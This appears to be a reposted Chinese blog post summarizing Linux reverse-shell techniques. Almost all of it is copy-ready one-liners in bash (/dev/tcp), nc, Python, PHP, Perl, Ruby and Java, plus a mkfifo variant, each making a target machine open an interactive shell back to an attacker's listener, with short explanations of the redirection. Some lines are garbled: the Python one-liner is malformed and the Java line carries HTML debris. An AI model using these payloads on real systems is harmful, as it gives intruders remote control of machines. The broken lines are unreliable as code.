欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Linux反弹shell姿势总结

程序员文章站 2022-05-15 21:34:20
...


Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。
攻击机监听相应端口,目标机执行反弹shell,getshell!

Bash反弹shell

目标机:

bash -i >& /dev/tcp/ip/port 0>&1  //将shell反弹回相应的地址端口

本机使用nc进行监听:

nc -lvvp port  //nc监听本机相应端口

Linux反弹shell姿势总结
Linux反弹shell姿势总结
搞懂原理
bash -i 打开一个交互式bash
/dev/tcp/ip/port 与指定地址端口建立TCP连接

“>&” 和 “0>&1” 是什么意思。这是Linux文件描述符和重定向。

  • 标准输入(stdin):代码0,使用<或<<
  • 标准输出(stdout):代码为1,使用>或>>
  • 标准错误输出(stderr):代码为2,使用2>或>>

“>&”是将标准错误输出合并到标准输出中。
如执行 bash -i >& /dev/tcp/ip/port 它会将bash的标准输出和标准错误输出发送给指定地址端口,但本机不能进行输入。

“>&”最好的理解:

  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
  • 当>&后面接文件描述时,表示将前面的文件描述符重定向至后面的文件描述符。

0>&1是将标准输入重定向到标准输出中,这样本机就可以接收用户的输入了。
当目标机有python环境时,用得到的shell使用python可以获得一个较为完整的交互式shell。

python -c 'import pty;pty.spawn("/bin/bash")'

nc反弹shell

当目标机安装nc时,可以使用nc进行反弹shell。
本机使用nc监听端口

nc -lvvp 4444

目标机使用nc方向连接

nc -e /bin/bash ip port

如果nc不支持 -e参数,可以使用linux的管道符进行反弹

nc -lnvp 3333
nc -lnvp 4444

目标机中使用nc方向连接

nc ip 3333|/bin/bash|ip 4444

python反弹shell

使用python反弹shell

python -c "import os,socket,subprocess;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip"port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);"

目标机python执行需要反弹的地址和端口
本机使用nc监听

nc -lvvp port

php反弹shell

使用php的exec函数反弹shell

php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

使用php的fsockopen远程连接

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

注:php反弹shell需要php关闭safe_mode选项,才能使用exec函数。

Perl反弹shell

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

Java反弹shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

其他反弹shell姿势

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port>/tmp/f
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line>&5 2>&1;done

人生漫漫其修远兮,网安无止境。
一同前行,加油!